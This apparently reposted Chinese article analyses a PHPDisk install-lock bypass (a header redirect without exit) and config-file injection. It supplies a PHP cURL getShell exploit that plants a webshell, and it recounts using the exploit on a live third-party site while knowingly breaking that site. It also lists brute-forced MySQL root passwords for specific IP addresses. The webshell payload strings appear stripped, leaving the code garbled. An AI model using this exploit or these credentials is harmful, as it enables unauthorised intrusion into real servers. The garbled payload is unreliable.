phpdisk漏洞header绕过与getShell利用解析
PHPDISK网盘系统是一套基于PHP与MySQL构建的网络硬盘(文件存储管理)系统,在国内拥有广泛用户群体。近期在对其源码进行安全审计时,发现一个非常值得关注的问题——该漏洞本身并不复杂,但利用手段却十分直接,能够导致严重安全风险。 图一展示的是install目录下的index php,即程序安装
PHPDISK网盘系统是一套基于PHP与MySQL构建的网络硬盘(文件存储管理)系统,在国内拥有广泛用户群体。近期在对其源码进行安全审计时,发现一个非常值得关注的问题——该漏洞本身并不复杂,但利用手段却十分直接,能够导致严重安全风险。

图一展示的是install目录下的index.php,即程序安装文件。从表面上看代码逻辑似乎并无异常:系统安装完成后会生成一个锁定文件,再次执行安装时会先检查该锁定文件是否存在,若存在则通过Header进行跳转。然而,问题正出在这里——跳转之后并未执行exit终止后续代码。在PHP中,header跳转后,脚本依然会继续执行。因此,攻击者可以直接通过POST方式提交数据,从而绕过安装锁定检查机制。

从图二可以看出,安装流程完全由$step变量控制,而该变量又可以通过POST参数直接指定。顺着这一思路,我们可以继续寻找可以利用的代码点。
关键代码片段如下:
$str = " '$dbhost',".LF.LF;
$str .= "\t'dbname' => '$dbname',".LF.LF;
$str .= "\t'dbuser' => '$dbuser',".LF.LF;
$str .= "\t'dbpasswd' => '$dbpasswd',".LF.LF;
$str .= "\t'pconnect' => 0,".LF.LF;
$str .= "\t'tpf' => 'pd_',".LF.LF;
$str .= "\t'charset' => '$charset',".LF.LF;
$str .= "\t'debug' => '0',".LF.LF;
$str .= ");".LF.LF;
$str .= "define('ADMINCP','admincp');".LF;
$str .= "?>".LF;
$fp = fopen($config_file,'w');
if (!$fp) {
exit("Can not open file $config_file .");
}
if(is_writable($config_file)){
if(@fwrite($fp,$str)){
$msg .= "{$config_file} ".__('write_success')."";
}else{
// 写入失败处理
}
}
POST数据会被直接写入配置文件configs.inc.php。进一步分析发现,为了安装便利,程序竟然去除了GPC转义处理:
function stripslashes_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = stripslashes_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
if (@get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}
这意味着攻击者可以直接写入任意PHP代码——因为这里没有任何过滤或转义机制。
漏洞利用与getShell方法详解
先来看一下配置文件写入的代码逻辑:
$_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__('could_not_connect'). mysql_error());
if(!mysql_select_db($dbname,$_l)){
mysql_query("create database `{$dbname}`;") or die(__('invalid_query') . mysql_error());
}
@mysql_close($_l);
这里会验证数据库连接是否可用,如果数据库信息错误则直接退出。因此,攻击者不能随意写入任意内容,只能利用dbpasswd字段来构造恶意载荷。
设想一下system目录下的configs.inc.php文件最终会变成什么样子:
'dbpasswd' => '',);?>',
这样,攻击者就可以直接使用中国菜刀等工具连接该WebShell。
由于没有GPC转义,直接POST一个'dbpasswd' = '',);?>'即可。实际上,密码值被设置为:',);?>。
需要发送的POST数据包内容为:
$pass='\',);?>';
$data="step=5&dbhost=localhost&dbuser=yaseng&dbname=yaseng&dbpasswd=".$pass;
当数据库信息正确时,该数据包就能成功写入一句话木马。

图四展示了成功写入Shell后的效果。
getShell EXP编写实战
下面使用PHP的cURL库编写一个完整的漏洞利用EXP。根据前面构造的POST数据,并结合特征检测来判断是否成功写入:
$site = $argv[1]; //传入的网站
$url= $site."/install/index.php";
$pass='\',);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass; // exploit data
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data); //发送POST数据
$result=curl_exec($ch);
curl_close($ch);
$shell="http://".$site.'/system/configs.inc.php';
if(strpos(@file_get_contents($shell),'pconnect')){ //检测是否成功
echo "Hi guy I get the Shell:".$shell;
}else{
echo "Shit !!! This Site:$site Can not get Shell";
}
实战演示与操作过程
这种获取Shell的方式实际上会破坏configs.inc.php文件,导致整个网站无法正常运行,因此具有一定的破坏性。我们选择一个相对较新的站点(目前访问量较低)来进行演示。
首先需要找到一个可外联的MySQL数据库。尝试从已有Shell中外连,均未成功。随后向朋友索要了一个MySQL root密码爆破工具,成功爆破出一批root密码:
- 98.126.4.252 root password
- 98.126.4.253 root password
- 98.126.4.250 root password
- 98.126.4.251 root passwd
- 98.126.4.254 root password
- 98.126.4.252 root root123456
- 98.126.4.253 root root123456

随机选取一个,使用本地adminer(一个单文件PHP MySQL管理客户端)登录并修改密码。此时发送的data为:
$pass='\',);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass;
在PHP命令行下执行:php phpdisk.php

完成,Shell成功写入,接着使用菜刀连接即可。

总结与安全建议
这是一个典型的由于Header跳转后未及时exit导致的绕过漏洞。PHP函数功能强大,但也需要谨慎使用,尤其是header、preg_replace、eval等危险函数,稍有不慎就可能被恶意利用。开发者在编写代码时,务必养成在跳转后立即执行exit的好习惯,从根本上杜绝此类漏洞的发生。
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
同类文章
DDoS攻击的三大主要形式:原理、特征与防御重点
DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。
如何有效预防和缓解DDoS攻击:5大核心策略详解
面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。
DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。
常见DDoS攻击类型详解:原理、特征与防御策略
本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。
如何有效抵御DDOS攻击:4种核心防护方案解析
面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。
- 热门数据榜
相关攻略
2026-08-31 11:56
2026-08-31 11:56
2026-08-31 11:55
2026-08-31 11:55
2026-08-31 11:54
2026-08-31 11:53
2026-08-31 11:53
2026-08-31 11:53
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程

